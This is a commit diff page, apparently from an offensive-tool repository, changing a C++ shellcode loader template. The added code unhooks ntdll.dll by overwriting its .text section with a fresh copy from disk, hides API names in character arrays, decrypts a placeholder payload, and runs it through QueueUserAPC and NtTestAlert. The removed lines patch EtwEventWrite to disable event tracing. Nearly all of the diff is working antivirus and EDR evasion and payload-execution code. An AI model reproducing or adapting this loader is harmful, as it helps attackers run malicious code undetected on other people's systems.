assume-breach пре 2 година
родитељ
комит
f9fa7a9fb9
1 измењених фајлова са 77 додато и 13 уклоњено
  1. 77 13
      Harriet/Harriet/QueueUserAPC/template.cpp

+ 77 - 13
Harriet/Harriet/QueueUserAPC/template.cpp

@@ -11,6 +11,11 @@
 
 using Random6 = NTSTATUS(NTAPI*)();
 
+unsigned char sNTD [] = {'n','t','d','l','l','.','d','l','l'};
+unsigned char sTest []= {'N','t','T','e','s','t','A','l','e','r','t'};
+unsigned char sNTdD []= {'n','t','d','l','l','.','d','l','l'};
+unsigned char sEtwR []= {'E','t','w','E','v','e','n','t','W','r','i','t','e'};
+
 int Random1(char * Random3, unsigned int Random3_len, char * Random2, size_t Random2len) {
 	HCRYPTPROV hProv;
 	HCRYPTHASH hHash;
@@ -40,6 +45,71 @@ int Random1(char * Random3, unsigned int Random3_len, char * Random2, size_t Ran
 	return 0;
 }
 
+static int Unhook() {
+	HANDLE pollutedNtdll;
+	HANDLE hFile;
+	HANDLE hFileMapping;
+	LPVOID hMapping;
+
+	//get handle of pollutted ntdll.dll
+
+	LPCSTR Ntdll = "ntdll.dll";
+	pollutedNtdll = GetModuleHandleA(Ntdll);
+
+	LPCSTR NtdllPath = "c:\\windows\\system32\\ntdll.dll";
+	
+	// open fresh copy of ntdll.dll and map a view of it
+
+	hFile = CreateFileA(NtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
+	if (hFile == INVALID_HANDLE_VALUE) {
+		return -1;
+	}
+
+	hFileMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
+	if (!hFileMapping) {
+		CloseHandle(hFile);
+		return -1;
+	}
+
+	hMapping = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
+	if (!hMapping) {
+		CloseHandle(hFile);
+		CloseHandle(hFileMapping);
+		return -1;
+	}
+
+	// find .text section of ntdll
+
+	IMAGE_DOS_HEADER * hImgDosHeader = (IMAGE_DOS_HEADER * )hMapping;
+	IMAGE_NT_HEADERS* hImgNtHeaders = (IMAGE_NT_HEADERS*)((DWORD_PTR)hMapping + hImgDosHeader->e_lfanew);
+	IMAGE_FILE_HEADER hImgFileHeader = (IMAGE_FILE_HEADER)(hImgNtHeaders->FileHeader);
+	IMAGE_SECTION_HEADER* hImgSecHeader = (IMAGE_SECTION_HEADER*)((size_t)hImgNtHeaders + sizeof(*hImgNtHeaders));
+	DWORD oldprotect = 0;
+
+	for (int i = 0; i < hImgFileHeader.NumberOfSections; i++) {
+		if (!strcmp((char*)hImgSecHeader[i].Name, ".text")) {
+			VirtualProtect((LPVOID)((DWORD_PTR)pollutedNtdll + (DWORD_PTR)hImgSecHeader->VirtualAddress),
+				hImgSecHeader->Misc.VirtualSize,
+				PAGE_EXECUTE_READWRITE,
+				&oldprotect);
+			if (!oldprotect) {
+				return -1;
+			}
+			memcpy((LPVOID)((DWORD_PTR)pollutedNtdll + (DWORD_PTR)hImgSecHeader->VirtualAddress),
+				(LPVOID)((DWORD_PTR)hMapping + (DWORD_PTR)hImgSecHeader->VirtualAddress),
+				hImgSecHeader->Misc.VirtualSize);
+			VirtualProtect((LPVOID)((DWORD_PTR)pollutedNtdll + (DWORD_PTR)hImgSecHeader->VirtualAddress),
+				hImgSecHeader->Misc.VirtualSize,
+				oldprotect,
+				&oldprotect);
+			if (!oldprotect) {
+				return -1;
+			}
+			return 0;
+		}
+	}
+	return -1;
+}
 
 
 int main()
@@ -49,27 +119,21 @@ int main()
 	unsigned char Random3[]=PAYVAL
 
 	unsigned int Random3_len = sizeof(Random3);
-	void * addr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
-        VirtualProtect(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect);
-
-        #ifdef _WIN64
-        memcpy(addr, "\x48\x33\xc0\xc3", 4);            
-        #else
-        memcpy(addr, "\x33\xc0\xc2\x14\x00", 5);                
-        #endif  
-
-        VirtualProtect(addr, 4096, oldprotect, &oldprotect);
-
+        
+       Unhook();
 	FreeConsole();
-	Random6 Random7 = (Random6)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
+	Random6 Random7 = (Random6)(GetProcAddress(GetModuleHandleA(sNTD), sTest));
 	SIZE_T Random4 = sizeof(Random3);
 	
 	Random1((char *) Random3, Random3_len, Random2, sizeof(Random2));
 
-	LPVOID Random5 = VirtualAlloc(NULL, Random4, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	LPVOID Random5 = VirtualAlloc(NULL, Random4, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 	
 	WriteProcessMemory(GetCurrentProcess(), Random5, Random3, Random4, NULL);
+
+	VirtualProtect(Random5, Random3_len, PAGE_EXECUTE_READ, &oldprotect);
 	
+
 	PTHREAD_START_ROUTINE Random8 = (PTHREAD_START_ROUTINE)Random5;
 	QueueUserAPC((PAPCFUNC)Random8, GetCurrentThread(), NULL);
 	Random7();